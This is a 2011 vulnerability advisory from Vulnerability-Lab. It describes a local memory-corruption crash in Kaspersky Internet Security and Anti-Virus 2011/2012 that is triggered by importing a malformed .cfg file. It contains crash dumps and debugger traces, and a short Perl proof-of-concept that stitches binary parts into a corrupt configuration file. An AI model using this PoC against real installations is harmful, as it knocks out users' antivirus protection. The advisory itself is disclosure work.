Kaspersky IS&AV 2011/12 – Memory Corruption Vulnerability

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=129

 

Introduction:

=============

Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web.

It provides constant protection for you and your family – whether you work, bank, shop or play online.

 

Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from

a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning

technologies work silently in the background while you enjoy your digital life.

 

(Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus && http://www.kaspersky.com/kaspersky_internet_security)

 

 

Abstract:

=========

Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.

 

 

Report-Timeline:

================

2010-12-04: Vendor Notification

2011-01-16: Vendor Response/Feedback

2011-12-19: Public or Non-Public Disclosure

 

 

Status:

========

Published

 

 

Affected Products:

==================

 

Exploitation-Technique:

=======================

Local

 

 

Severity:

=========

Medium

 

 

Details:

========

A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.

The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters,

which could be exploited by attackers to crash he complete software process.

The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import.

 

 

Vulnerable Modules:

 

[+] CFG IMPORT

 

 

Affected Version(s):

Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012

KIS 2012 v12.0.0.374

KAV 2012 v12.x

 

Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011

KIS 2011 v11.0.0.232 (a.b)

KAV 11.0.0.400

KIS 2011 v12.0.0.374

 

Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010

 

 

— Kaspersky Bug Logs —

 

Folder: ../Analyses/Crash Reports (KIS&KAV)

 

KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp

KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp

KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp

 

KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp

KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp

KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp

 

KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp

KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp

KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp

 

KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp

KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp

KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp

 

Reference(s):

../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar

../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip

../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip

 

 

 

— Service Crash Report Queue Logs —

 

Folder: ../Analyses/Crash Reports (Service)

 

AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7

AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95

AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e

AppCrash_avp.exe_5f09d49c257b515e08a6defbf11

AppCrash_avp.exe_69cb355e72347419436f047a313

AppCrash_avp.exe_69cb355e72347419436f047a313

AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977

AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad

AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327

AppCrash_avp.exe_ed94bb914e255192b71d1257c19

 

 

Version=1

EventType=APPCRASH

EventTime=129256270253026260

ReportType=2

Consent=1

UploadTime=129256270260076663

ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6

IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6

WOW64=1

Response.BucketId=1985200055

Response.BucketTable=1

Response.type=4

Sig[0].Name=Anwendungsname

Sig[0].Value=avp.exe

Sig[1].Name=Anwendungsversion

Sig[1].Value=11.0.1.400

Sig[2].Name=Anwendungszeitstempel

Sig[2].Value=4c2cd011

Sig[3].Name=Fehlermodulname

Sig[3].Value=basegui.ppl

Sig[4].Name=Fehlermodulversion

Sig[4].Value=11.0.1.400

Sig[5].Name=Fehlermodulzeitstempel

Sig[5].Value=4c2cd193

Sig[6].Name=Ausnahmecode

Sig[6].Value=c0000005

Sig[7].Name=Ausnahmeoffset

Sig[7].Value=00079c3c

DynamicSig[1].Name=Betriebsystemversion

DynamicSig[1].Value=6.1.7600.2.0.0.768.3

DynamicSig[2].Name=Gebietsschema-ID

DynamicSig[2].Value=1031

DynamicSig[22].Name=Zusatzinformation 1

DynamicSig[22].Value=0a9e

DynamicSig[23].Name=Zusatzinformation 2

DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789

DynamicSig[24].Name=Zusatzinformation 3

DynamicSig[24].Value=0a9e

DynamicSig[25].Name=Zusatzinformation 4

DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789

UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe

UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr

UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten.

UI[5]=Online nach einer Lösung suchen und das Programm neu starten

UI[6]=Später online nach einer Lösung suchen und das Programm schließen

UI[7]=Programm schließen

LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe

LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll

LoadedModule[2]=C://Windows/syswow64/kernel32.dll

LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll

LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL

LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL

LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll

LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll

LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll

State[0].Key=Transport.DoneStage1

State[0].Value=1

State[1].Key=DataRequest

State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n

FriendlyEventName=Nicht mehr funktionsfähig

ConsentKey=APPCRASH

AppName=Kaspersky Anti-Virus

AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe

 

 

 

 

— System Crash Report Queue Logs —

 

Folder: Analyses//Crash Reports (System)

 

WER7A62.tmp.appcompat.txt

WER7FFE.tmp.mdmp

WER6127.tmp.WERInternalMetadata.xml

 

 

 

— Exception Log —

(a50.ee8): Access violation – code c0000005 (first/second chance not available)

eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000

eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc

cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

 

 

 

 

— Debug Logs —

FAULTING_IP:

basegui+79bed

6ddf9bed 8b11 mov edx,dword ptr [ecx]

 

EXCEPTION_RECORD: ffffffff — (.exr 0xffffffffffffffff)

ExceptionAddress: 6ddf9bed (basegui+0x00079bed)

ExceptionCode: c0000005 (Access violation)

ExceptionFlags: 00000000

NumberParameters: 2

Parameter[0]: 00000000

Parameter[1]: 9699eef0

Attempt to read from address 9699eef0

 

PROCESS_NAME: avp.exe

 

FAULTING_MODULE: 755b0000 kernel32

DEBUG_FLR_IMAGE_TIMESTAMP: 4c4f15cf

MODULE_NAME: basegui

ERROR_CODE: (NTSTATUS) 0xc0000005 – Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 9699eef0

 

READ_ADDRESS: 9699eef0

 

FOLLOWUP_IP:

basegui+79bed

6ddf9bed 8b11 mov edx,dword ptr [ecx]

 

FAULTING_THREAD: 00000ee8

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_WRITE

DEFAULT_BUCKET_ID: INVALID_POINTER_WRITE

LAST_CONTROL_TRANSFER: from 6ddf9bfd to 6ddf9bed

 

STACK_TEXT:

0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed

0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd

0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd

0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580

0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0

0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320

0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45

0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd

0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270

0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341

0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182

0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287

0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270

0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922

0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f

0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf

0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e

0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58

0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b

0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c

0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8

0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc

 

 

STACK_COMMAND: ~5s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: basegui+79bed

FOLLOWUP_NAME: MachineOwner

IMAGE_NAME: basegui.ppl

BUCKET_ID: WRONG_SYMBOLS

FAILURE_BUCKET_ID: INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown

WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1

 

Followup: MachineOwner

———

0:005> lmvm basegui

start end module name

6dd80000 6df19000 basegui (export symbols) basegui.ppl

Loaded symbol image file: basegui.ppl

Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl

Image name: basegui.ppl

Timestamp: Tue Jul 27 19:22:23 2010 (4C4F15CF)

CheckSum: 0019E22D

ImageSize: 00199000

File version: 11.0.0.241

Product version: 11.0.0.241

File flags: 0 (Mask 3F)

File OS: 40004 NT Win32

File type: 1.0 App

File date: 00000000.00000000

Translations: 0409.04b0

CompanyName: Kaspersky Lab ZAO

ProductName: Kaspersky Anti-Virus

InternalName: BASEGUI

OriginalFilename: BASEGUI.DLL

ProductVersion: 11.0.0.241

FileVersion: 11.0.0.241

FileDescription: Kaspersky Anti-Virus GUI Windows part

LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010.

LegalTrademarks: Kaspersky™ Anti-Virus ® is registered trademark of Kaspersky Lab ZAO.

0:005> .exr 0xffffffffffffffff

ExceptionAddress: 6ddf9bed (basegui+0x00079bed)

ExceptionCode: c0000005 (Access violation)

ExceptionFlags: 00000000

NumberParameters: 2

Parameter[0]: 00000000

Parameter[1]: 9699eef0

Attempt to read from address 9699eef0

 

 

Information:

The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test … (wrong-way.png).

The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows

an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8.

 

Notice:

An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png)

 

 

Folder:

../Analyses/Debug

 

 

References(Pictures):

../appcrash1.png

../appcrash2.png

../appcrash3.png

../appcrash4.png

../appcrash5.png

../debug&exception.png

../kav2011.png

../reproduce-x32.png

../wrong-way.png

../access-rights.png

 

 

Proof of Concept:

=================

The vulnerability can be exploited by local attackers via import or remote attacker via user inter action.

For demonstration or reproduce …

 

 

#!/usr/bin/perl

##############################################################################

my $code=”corrupt” x 1;

###################################################################

$FH1 = “file1”;

$FilePath1 = “part1.bin”;

$FH2 = “file2”;

$FilePath2 = “part2.bin”;

###################################################################

open(myfile,’>> poc_pwn.cfg’);

binmode myfile;

###################################################################

open(FH1, $FilePath1);

binmode FH1;

while (<FH1>) {

print myfile;

}

close(FH1);

print myfile $code;

open(FH2, $FilePath2);

binmode FH2;

while (<FH2>) {

print myfile;

}

close(FH2);

###################################################################

 

 

PoC:

../PoC/kis&kav_2011_2012_p0c.pl

../PoC/part1.bin

../PoC/part2.bin

 

 

Risk:

=====

The security risk of the bug/vulnerability is estimated as medium(+).

 

 

Credits:

========

Vulnerability Research Laboratory – Benjamin K.M. (Rem0ve)

 

 

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business

profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some

states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation

may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-

Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of

other media, are reserved by Vulnerability-Lab or its suppliers.

 

Copyright © 2011|Vulnerability-Lab

 

 

 

 

Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com

Contact: admin@vulnerability-lab.com or support@vulnerability-lab.com

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